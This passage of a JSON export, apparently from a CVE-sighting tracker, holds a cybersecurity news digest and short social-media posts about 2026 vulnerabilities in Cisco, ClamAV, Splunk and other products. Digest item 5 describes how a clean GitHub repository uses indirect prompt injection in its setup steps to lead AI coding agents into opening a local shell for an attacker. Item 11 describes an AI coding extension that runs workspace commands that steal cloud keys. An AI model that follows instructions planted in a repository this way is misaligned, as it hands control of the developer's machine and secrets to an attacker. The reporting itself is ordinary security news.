facilitating lateral movement within target environments.\n\nKeywords: #Malware #Ransomware #InitialAccessBroker #MisticBackdoor #ThreatHunting #EnterpriseSecurity #Infosec #CyberCrime\n\n\n3. CISA Sets Urgent Deadline to Fix Cisco Flaw Exploited in Attacks\n\n\n\nOriginal URL: [https://www.bleepingcomputer.com/news/security/cisa-sets-urgent-deadline-to-fix-cisco-flaw-exploited-in-attacks/](https://www.bleepingcomputer.com/news/security/cisa-sets-urgent-deadline-to-fix-cisco-flaw-exploited-in-attacks/)\n\nSummary: The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added a critical Cisco flaw to its Known Exploited Vulnerabilities catalog, imposing an urgent patching deadline for federal agencies. The vulnerability, tracked as CVE-2026-20230, is a critical server-side request forgery (SSRF) flaw in the Cisco Unified Communications Manager Server that permits unauthenticated, remote attackers to execute malicious actions via custom HTTP requests. While Cisco initially patch-released the flaw with no evidence of active exploits, threat detection firm Defused recently caught threat actors actively leveraging the vulnerability to write arbitrary text files directly onto vulnerable network endpoints.\n\nKeywords: #Cisco #Vulnerability #PatchTuesday #CISA #KEV #SSRF #NetworkSecurity #ITSecurity #FederalCyber\n\n\n4. New Initiative Tackles Security for End-of-Life Open Source Software\n\n\n\nOriginal URL: [https://www.darkreading.com/application-security/initiative-tackles-security-end-of-life-open-source](https://www.darkreading.com/application-security/initiative-tackles-security-end-of-life-open-source)\n\nSummary: The Commonhaus Foundation has officially introduced the Open Source Sustainability Initiative (OSSI) to confront the systemic security risks associated with abandoned and end-of-life (EOL) open-source projects. Because standard enterprises utilize hundreds of open-source dependencies, managing security patches becomes highly error-prone once development teams stop maintaining original repositories. The OSSI aims to establish a structured, collaborative framework to track, secure, and retroactively patch vulnerable code in widely used legacy projects, minimizing the attack surface for enterprise supply chains.\n\nKeywords: #OpenSource #SoftwareSupplyChain #AppSec #Commonhaus #OSSI #CyberResilience #VulnerabilityManagement #EnterpriseSoftware\n\n\n5. Clean GitHub Repo Tricks AI Coding Agents Into Running Malware\n\n\n\nOriginal URL: [https://www.bleepingcomputer.com/news/security/clean-github-repo-tricks-ai-coding-agents-into-running-malware/](https://www.bleepingcomputer.com/news/security/clean-github-repo-tricks-ai-coding-agents-into-running-malware/)\n\nSummary: Security researchers at Mozilla’s Zero Day Investigative Network (0DIN) have demonstrated a novel prompt injection attack vector that completely bypasses code scanners by tricking AI coding assistants into generating and running local malware. Instead of containing malicious code, the target GitHub repository remains entirely clean; instead, it relies on indirect prompt instructions that manipulate the AI agent during setup into creating an unintended local vulnerability. Once executed by an automated tool like Claude Code, the attack grants the adversary a localized terminal shell functioning with the host developer’s system privileges, giving them direct access to local API keys, environment variables, and files.\n\nKeywords: #AISecurity #GitHub #PromptInjection #LLM #ArtificialIntelligence #SoftwareDevelopment #DevSecOps #Mozilla #0DIN\n\n\n6. Microsoft Removes 119 Edge Extensions That Hid Malware in Images and Fonts\n\n\n\nOriginal URL: [https://thehackernews.com/2026/06/microsoft-removes-119-edge-extensions.html](https://thehackernews.com/2026/06/microsoft-removes-119-edge-extensions.html)\n\nSummary: Microsoft has shut down a long-running malicious extension operation on the Edge Add-ons store that hid its payloads inside ordinary image and font files, then woke up days after install to steal credentials and run ad fraud. The company calls it StegoAd, a mash-up of steganography and adware, and ties 119 extensions to a single threat actor it says has been active since at least 2021. The extensions were disguised as common utilities like ad blockers, VPNs, and translators, which performed their stated tasks to gain positive reviews while remaining dormant until clearing evasion checks.\n\nKeywords: #Malware #BrowserExtensions #Steganography #MicrosoftEdge #AdFraud #CredentialTheft #SupplyChainAttack #Infosec\n\n\n7. Hijacked npm and Go Packages Use VS Code Tasks to Deploy Python Infostealer\n\n\n\nOriginal URL: [https://thehackernews.com/2026/06/hijacked-npm-and-go-packages-use-vs.html](https://thehackernews.com/2026/06/hijacked-npm-and-go-packages-use-vs.html)\n\nSummary: Cybersecurity researchers have uncovered a new ecosystem supply chain attack involving hijacked npm and Go packages designed to deploy a Python-based information stealer on compromised Windows, Linux, and macOS hosts. To evade the typical script detection mechanisms implemented to harden security registries, the malware strategically avoids common execution paths and hides its initialization logic inside an automatic Microsoft Visual Studio Code workspace configuration file. Once a developer simply opens the project directory inside their IDE, the hidden task triggers automatically, fetching malicious code from blockchain records and granting the threat actors a direct command shell.\n\nKeywords: #SupplyChainAttack #Malware #VSCode #DeveloperSecurity #Python #npm #GoLang #Infostealer #DevSecOps\n\n\n8. US Seizes Hundreds of FIFA World Cup Illegal Streaming Domains\n\n\n\nOriginal URL: [https://www.bleepingcomputer.com/news/security/us-seizes-hundreds-of-fifa-world-cup-illegal-streaming-domains/](https://www.bleepingcomputer.com/news/security/us-seizes-hundreds-of-fifa-world-cup-illegal-streaming-domains/)\n\nSummary: The U.S. Department of Justice has executed a massive coordinated enforcement action dubbed “Operation Offsides,” seizing nearly 400 web domains that were providing illegal, real-time streams of World Cup soccer matches. Working alongside law enforcement networks across Peru, Bulgaria, Croatia, Romania, Poland, and Colombia, federal agents targeted infrastructure that infringed on global broadcasting copyright protections. Beyond media piracy, Homeland Security Investigations (HSI) warned that these unauthorized streaming platforms aggressively expose users to hidden drive-by malware infections and insecure browser connections engineered to harvest financial details.\n\nKeywords: #DomainSeizure #CyberCrime #LawEnforcement #DOJ #WorldCup #Malware #CopyrightInfringement #Piracy\n\n\n9. Active Phishing Campaign Exploits Calendly and Photo ZIP Files to Target Hotels\n\n\n\nOriginal URL: [https://www.rescana.com/post/klue-supply-chain-breach-exposes-oauth-tokens-and-salesforce-data-in-multi-stage-cybersecurity-incident-june-2026](https://www.rescana.com/post/klue-supply-chain-breach-exposes-oauth-tokens-and-salesforce-data-in-multi-stage-cybersecurity-incident-june-2026)\n\nSummary: Microsoft has issued an active alert to the global hospitality sector warning of a coordinated phishing campaign that abuses common scheduling applications like Calendly to drop dangerous Node.js malware. Attackers are posing as prospective corporate clients or wedding parties to schedule appointments, leveraging the booking platforms to share highly realistic compressed “photo archives” containing malicious configuration files. Once executed by unsuspecting hotel booking agents, the payload installs a flexible Node.js infostealer designed to bypass memory protections, sweep web browser caches, and extract corporate credit card data.\n\nKeywords: #Phishing #Malware #HospitalitySector #Calendly #NodeJS #SocialEngineering #DataTheft #MicrosoftSecurity\n\n\n10. Klue Supply Chain Breach Exposes OAuth Tokens and Salesforce Data\n\n\n\nOriginal URL: [https://www.rescana.com/post/klue-supply-chain-breach-exposes-oauth-tokens-and-salesforce-data-in-multi-stage-cybersecurity-incident-june-2026](https://www.rescana.com/post/klue-supply-chain-breach-exposes-oauth-tokens-and-salesforce-data-in-multi-stage-cybersecurity-incident-june-2026)\n\nSummary: A significant multi-stage supply chain breach has compromised the market intelligence SaaS platform Klue, leading to the unauthorized collection of active OAuth tokens and data exfiltration impacting approximately 200 client organizations. A threat group identified as Icarus gained initial entry by exploiting an inactive legacy administrative credential to inject malicious code directly into Klue’s core synchronization infrastructure. Armed with the stolen OAuth access tokens, the threat actors systematically pivoted to download sensitive CRM records from client environments, subsequently posting the data on a Tor leak site for double-extortion.\n\nKeywords: #SupplyChainAttack #OAuth #DataBreach #Salesforce #SaaS #ThreatIntelligence #Extortion #CloudSecurity\n\n\n11. Amazon Q Developer Extension Flaw Enables Cloud Credential Theft\n\n\n\nOriginal URL: [https://cisoseries.com/cybersecurity-news-cisas-cisco-deadline-chinas-mythos-competitor-amazon-q-flaw/](https://cisoseries.com/cybersecurity-news-cisas-cisco-deadline-chinas-mythos-competitor-amazon-q-flaw/)\n\nSummary: Security researchers at Wiz have publicly disclosed a high-severity flaw within Amazon\u2019s Q Developer AI-assisted coding extension for Visual Studio Code that opens developers up to immediate cloud credential theft. The underlying vulnerability stems from the extension’s behavior of automatically evaluating workspace configuration parameters without checking for manual user authorization when a new project folder is initialized. By enticing software engineers to clone an intentionally booby-trapped repository, attackers can force the IDE extension to execute automated system commands in the background to harvest local cloud access keys.\n\nKeywords: #AmazonQ #Wiz #Vulnerability #CloudSecurity #AISecurity #VSCode #DevSecOps #CredentialTheft\n\n\n12. Qihoo 360 Announces Tulongfeng Multi-Agent Swarm to Challenge US AI Security\n\n\n\nOriginal URL: [https://cisoseries.com/cybersecurity-news-cisas-cisco-deadline-chinas-mythos-competitor-amazon-q-flaw/](https://cisoseries.com/cybersecurity-news-cisas-cisco-deadline-chinas-mythos-competitor-amazon-q-flaw/)\n\nSummary: Chinese cybersecurity giant Qihoo 360 has unveiled its newest defensive security platform, dubbed “Tulongfeng,” engineered as an adversarial alternative to frontier American code evaluation tools like Anthropic’s Claude Mythos. Presented at the Beijing Cybersecurity Conference, the platform leverages a highly specialized multi-agent swarm trained exclusively on Qihoo’s massive internal repository of historical malware variants and software bugs. The developer team claims this custom architecture is finding critical vulnerabilities across open-source and enterprise-tier platforms at machine speeds, bypassing the computational overhead of generic LLMs.\n\nKeywords: #ArtificialIntelligence #Qihoo360 #Tulongfeng #VulnerabilityHunting #ZeroDay #TechGeopolitics #AIModel #Infosec\n\n\n13. KDDI Data Breach Impacts Up to 14.2 Million Accounts in Japan\n\n\n\nOriginal URL: [https://www.bleepingcomputer.com/news/security/data-breach-exposes-up-to-142-million-email-logins-at-six-isps/](https://www.bleepingcomputer.com/news/security/data-breach-exposes-up-to-142-million-email-logins-at-six-isps/)\n\nSummary: Major Japanese telecommunications operator KDDI Corporation has disclosed a massive data breach affecting up to 14.2 million email accounts spread across six distinct internet service providers (ISPs). Cybercriminals successfully compromised the systems by exploiting a newly identified software vulnerability within a shared third-party email administration module utilized by the networks. KDDI has patched the direct system vulnerability and is actively coordinating with data privacy authorities to notify impacted subscribers of potential credential theft and incoming phishing risks.\n\nKeywords: #DataBreach #TelecomSecurity #KDDI #DataPrivacy #JapanCyber #Vulnerability #SupplyChainRisk #EmailSecurity\n\n\n14. Active Exploitation Alert Issued for Cisco CUCM SSRF-RCE Flaw\n\n\n\nOriginal URL: [https://www.rescana.com/post/klue-supply-chain-breach-exposes-oauth-tokens-and-salesforce-data-in-multi-stage-cybersecurity-incident-june-2026](https://www.rescana.com/post/klue-supply-chain-breach-exposes-oauth-tokens-and-salesforce-data-in-multi-stage-cybersecurity-incident-june-2026)\n\nSummary: Threat monitors have issued an updated advisory following the rapid weaponization of CVE-2026-20230, a server-side request forgery (SSRF) flaw in Cisco’s Unified Communications Manager (CUCM). Within 24 hours of public exploitation proof-of-concepts, automated exploitation scripts were detected scanning the internet and actively dropping weaponized HTTP requests onto enterprise servers. Attackers are currently leveraging the unauthenticated flaw to write arbitrary system files directly onto endpoints, which can lead to localized remote code execution (RCE) and full communication server compromise.\n\nKeywords: #Cisco #CUCM #ExploitAlert #SSRF #RemoteCodeExecution #ZeroDay #PatchManagement #NetworkHardening\n\n\n15. JP Morgan Warns Cybersecurity Now Outpaces Credit Risks for Major US Banks\n\n\n\nOriginal URL: [https://uk.finance.yahoo.com/news/jp-morgan-warns-cybersecurity-bigger-110200388.html](https://uk.finance.yahoo.com/news/jp-morgan-warns-cybersecurity-bigger-110200388.html)\n\nSummary: In a comprehensive analytical briefing sent to institutional investors, JP Morgan’s European equity research group has warned that systemic cybersecurity threats now pose a fundamentally greater risk to banking stability than traditional credit default risks. The firm highlights that while conventional loan losses and asset risks are heavily modeled and calculated within current banking valuations, the financial and reputational liabilities of automated ransomware or infrastructure hacks remain dangerously understated. The report calls for regulatory bodies to introduce market valuation premiums for financial institutions that demonstrate quantifiable cyber-resilience frameworks.\n\nKeywords: #BankingSecurity #FinSec #JPMorgan #RiskManagement #Ransomware #FinancialServices #CyberEconomics #EnterpriseRisk\n", "creation_timestamp": "2026-06-30T01:00:42.389763Z"}, {"uuid": "269ae215-97c1-4d93-a0ea-19d992a3df23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20251", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mpht3tkmhk25", "content": "Silent Takeover Risk: Critical RCE Flaw in Splunk Secure Gateway Lets Low-Privilege Users Seize Full System Control (CVE-2026-20251) +\u00a0Video\n\nIntroduction: A Hidden Crack Inside a Trusted Security Platform In the quiet backbone of enterprise security operations, trust is everything. Organizations\u2026", "creation_timestamp": "2026-06-30T01:12:10.406544Z"}, {"uuid": "637a4d9b-1224-4453-89a9-7f85c3906442", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mphxidm26u2q", "content": "Top 3 CVE for last 7 days:\nCVE-2026-55200: 48 interactions\nCVE-2026-47729: 36 interactions\nCVE-2026-8461: 35 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-46817: 9 interactions\nCVE-2026-43503: 4 interactions\nCVE-2026-20230: 3 interactions\n", "creation_timestamp": "2026-06-30T02:30:44.377649Z"}, {"uuid": "dfe42cab-89e9-4576-97d9-83447404d396", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/faisalyahya.com/post/3mpi7xb3p6i2d", "content": "Reviewing an architecture diagram yesterday for a Cisco SD-WAN deployment. I thought it was solid. My lead engineer took one look and flagged an exposure path for CVE-2026-20245\u2014a zero-day where insufficient input validation gives attackers root access.", "creation_timestamp": "2026-06-30T05:02:14.879206Z"}, {"uuid": "7e05ab74-e16c-4386-8299-2223645c8e22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20262", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mpia7jwaa42c", "content": "Daily IT Security Digest \u2014 2026-06-30\n[Link](https://infosec.exchange/@DevaOnBreaches/116835927422825909)]\n\n## 3. Active Zero-Day: Cisco Catalyst SD-WAN Manager (CVE-2026-20262)\n\nMandiant confirmed active exploitation of a zero-day in Cisco Catalyst SD-WAN Manager. Attackers with HTTP write access", "creation_timestamp": "2026-06-30T05:06:52.522311Z"}, {"uuid": "fc8bee44-ecb4-4692-a320-a34f4b558312", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mpidt76pcsbr", "content": "\u533f\u540d\u306e\u7814\u7a76\u8005\u304c\u30bc\u30ed\u30c7\u30a4\u6570\u4ef6\u3092GitHub\u30ea\u30dd\u30b8\u30c8\u30ea\u3067\u516c\u958b\uff08CVE-2026-55200\u3001CVE-2026-20896\uff09 | Codebook\uff5cSecurity News https://codebook.machinarecord.com/threatreport/silobreaker-cyber-alert/46394/", "creation_timestamp": "2026-06-30T06:11:34.296661Z"}, {"uuid": "672973c2-2cc6-42ad-882c-039e474f5a47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mpidta6bgb2n", "content": "\u533f\u540d\u306e\u7814\u7a76\u8005\u304c\u30bc\u30ed\u30c7\u30a4\u6570\u4ef6\u3092GitHub\u30ea\u30dd\u30b8\u30c8\u30ea\u3067\u516c\u958b\uff08CVE-2026-55200\u3001CVE-2026-20896\uff09 | Codebook\uff5cSecurity News https://codebook.machinarecord.com/threatreport/silobreaker-potato-alert/46394/", "creation_timestamp": "2026-06-30T06:11:36.036527Z"}, {"uuid": "3fde72ba-0454-4e67-8c06-b4f3317d59f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/hissenit.bsky.social/post/3mpigmdqa422w", "content": "*Cisco Catalyst SD-WAN Manager Flaw Allowed Root Access via Malicious CSV Upload*\n\nA zero-day vulnerability (CVE-2026-20245) in Cisco Catalyst SD-WAN Manager allowed attackers to exploit an improperly validated...\n\nwww.hissenit.com/en/blog/it-s...\n\n#LMS #SCORM #securecode #dev #programming #owasp", "creation_timestamp": "2026-06-30T07:01:28.918592Z"}, {"uuid": "18ce502a-1e5f-4c32-b135-d7dad666d7bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20643", "type": "seen", "source": "https://bsky.app/profile/ctsd-gmbh.bsky.social/post/3mpilwer6jx2y", "content": "CVE-2026-20643 und CVE-2026-28857 in KI entdeckt WebKit-L\u00fccken: Apple patcht 30+ Flaws\nKI-Modelle haben zwei neue, hochkritische Sicherheitsl\u00fccken (CVE-2026-20643, CVE-2026-28857) in WebKit entdeckt,\u2026\n\nhttps://www.ctsd.de/insights/2026-06-security-ki-entdeckt-webkit-l-cken-apple-patcht-30-flaws.html", "creation_timestamp": "2026-06-30T08:36:30.494864Z"}, {"uuid": "1d3d7135-0872-459a-8376-c129accfc073", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20337", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=2005", "content": "", "creation_timestamp": "2026-08-13T08:46:59.317060Z"}, {"uuid": "bb98e994-2a5d-460f-9460-a07c53170a35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20345", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=2005", "content": "", "creation_timestamp": "2026-08-13T08:47:01.557719Z"}, {"uuid": "3050c8ad-7713-4938-be6a-ec06700df2c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20348", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=2005", "content": "", "creation_timestamp": "2026-08-13T08:47:06.233320Z"}, {"uuid": "b678f898-c3d3-4e51-b321-64e9822cc839", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20337", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-22T00:00:10.131465Z"}, {"uuid": "501445bb-7e0a-4c81-9c78-e81fa7ffb0be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://t.me/pphm_HackerNews/2590", "content": "\ud83d\udd34 Cisco Patches Firewall Zero-Day Exploited for DoS Attacks\n\nCisco informed customers on Tuesday that it has released patches for a zero-day vulnerability affecting firewalls running Secure Firewall Adaptive Security Appliance (ASA) and Secure Firewall Threat Defense (FTD) software.\n\nThe security hole, tracked as CVE-2026-20349, is related to the processing of HTTP requests. \n\nA remote, unauthenticated attacker can cause an appliance to reload and enter a denial-of-service (DoS) condition by sending a specially crafted HTTP request to the Remote Access SSL VPN service. \n\nThe vulnerability was discovered internally by Cisco and also reported by an external researcher.", "creation_timestamp": "2026-08-22T00:00:10.166221Z"}, {"uuid": "63b1f58c-4fec-4153-868d-9c1cc2d937e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20345", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-22T00:00:10.200135Z"}, {"uuid": "a70c8abf-3561-4bc7-8db5-8c4afdf0de21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20339", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-22T00:00:10.231487Z"}, {"uuid": "7422d7ee-2a2e-446d-a96c-c2983ba2e17c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20338", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-22T00:00:10.262651Z"}, {"uuid": "e6cca892-8fe5-449a-bf1b-a4589f65fc9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20337", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117072144817424275", "content": "New.\nCISA: Gunra Ransomware Advisory https://www.cisa.gov/news-events/cybersecurity-advisories/aa26-222a \nCisco:\nAdvisory for a high-severity vulnerability first published on August 7:\nCVE-2026-20337, CVE-2026-20338, and CVE-2026-20339: ClamAV Vulnerabilities Affecting Cisco Products: August 2026 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-clamav-WuuvVd26 @TalosSecurity #Cisco #infosec #CISA #ransomware #cybercrime #vulnerability", "creation_timestamp": "2026-08-10T16:26:03.892272Z"}, {"uuid": "ecdc6792-e97f-4803-920f-08c2567b2404", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20338", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117072144817424275", "content": "New.\nCISA: Gunra Ransomware Advisory https://www.cisa.gov/news-events/cybersecurity-advisories/aa26-222a \nCisco:\nAdvisory for a high-severity vulnerability first published on August 7:\nCVE-2026-20337, CVE-2026-20338, and CVE-2026-20339: ClamAV Vulnerabilities Affecting Cisco Products: August 2026 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-clamav-WuuvVd26 @TalosSecurity #Cisco #infosec #CISA #ransomware #cybercrime #vulnerability", "creation_timestamp": "2026-08-10T16:26:03.933355Z"}, {"uuid": "550043e5-fae1-417b-aed0-964f4d04546f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20339", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/117072144817424275", "content": "New.\nCISA: Gunra Ransomware Advisory https://www.cisa.gov/news-events/cybersecurity-advisories/aa26-222a \nCisco:\nAdvisory for a high-severity vulnerability first published on August 7:\nCVE-2026-20337, CVE-2026-20338, and CVE-2026-20339: ClamAV Vulnerabilities Affecting Cisco Products: August 2026 https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-clamav-WuuvVd26 @TalosSecurity #Cisco #infosec #CISA #ransomware #cybercrime #vulnerability", "creation_timestamp": "2026-08-10T16:26:03.971860Z"}, {"uuid": "9983ebaa-e9e8-481f-9608-53e564ba8ffa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/termsofsurrender.bsky.social/post/3mt3okgovui2p", "content": "Cisco Firewalls Sweat Blood While the Bureaucracy Finds Another Stamp\nPANIC 87% | Lag 52.04h | CVE-2026-20349 is a zero-day risk affecting Cisco firewalls, while Sandworm-linked operators are rep\n#AfterShockIndex\nREAD MORE", "creation_timestamp": "2026-08-15T02:59:41.110026Z"}, {"uuid": "feb619dc-506a-4f7d-9a16-f984fcbd61de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20316", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-29", "content": "", "creation_timestamp": "2026-08-06T12:15:28.420618Z"}, {"uuid": "ea5fcf3f-a6d7-44ca-88cd-9bc6f7325fb4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20200", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-29", "content": "", "creation_timestamp": "2026-08-06T12:15:30.668367Z"}, {"uuid": "41242306-a0aa-4ba7-80c4-a04e4043d309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20685", "type": "seen", "source": "https://t.me/pphm_HackerNews/2557", "content": "\ud83d\udd34 Apple Private Cloud Compute Path Traversal Flaw Lets Attackers Write Files as Root\n\nSecurity researcher Drinor Selmanaj has disclosed a path traversal vulnerability (CVE-2026-20685) in Apple\u2019s Private Cloud Compute (PCC) that allows a privileged network attacker to write attacker-controlled files as root during node boot.\n\nThis flaw affects the Apple Intelligence cloud-inference infrastructure. Apple has addressed the issue in PCC Release 5E290.3 and later, rating it as an information disclosure vulnerability with a CVSS score of 6.5.", "creation_timestamp": "2026-08-22T00:00:10.364288Z"}, {"uuid": "75e6effc-f8ad-4e2d-a299-71076b490462", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20346", "type": "seen", "source": "https://t.me/pphm_HackerNews/2587", "content": "\ud83d\udd34 CiscoClamAV Vulnerabilities Let Remote Attackers Crash Antivirus Scanning With Crafted Files\n\nCisco has disclosed seven high-severity vulnerabilities in ClamAV that could allow unauthenticated remote attackers to disrupt antivirus scanning by submitting specially crafted files.\n\nThese vulnerabilities are tracked as CVE-2026-20337, CVE-2026-20338, CVE-2026-20339, CVE-2026-20345, CVE-2026-20346, CVE-2026-20347, and CVE-2026-20348, and have been assigned a maximum CVSS score of 7.5.", "creation_timestamp": "2026-08-22T00:00:10.466383Z"}, {"uuid": "38ccd377-e671-41be-af8a-5cee27f87e05", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2026-20128", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/e56c0a2d-7130-42eb-8cc3-e9266451a0a3", "content": "", "creation_timestamp": "2026-06-30T10:01:24.366074Z"}, {"uuid": "8ae8011f-b2fa-4530-8fc3-8a5c099205a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20124", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-29", "content": "", "creation_timestamp": "2026-08-06T12:45:02.592310Z"}, {"uuid": "61e3bfb9-04a5-4b85-85d9-4935483f4f99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20303", "type": "seen", "source": "https://www.acn.gov.it/portale/w/risolte-vulnerabilita-in-prodotti-cisco-29", "content": "", "creation_timestamp": "2026-08-06T12:45:04.895347Z"}, 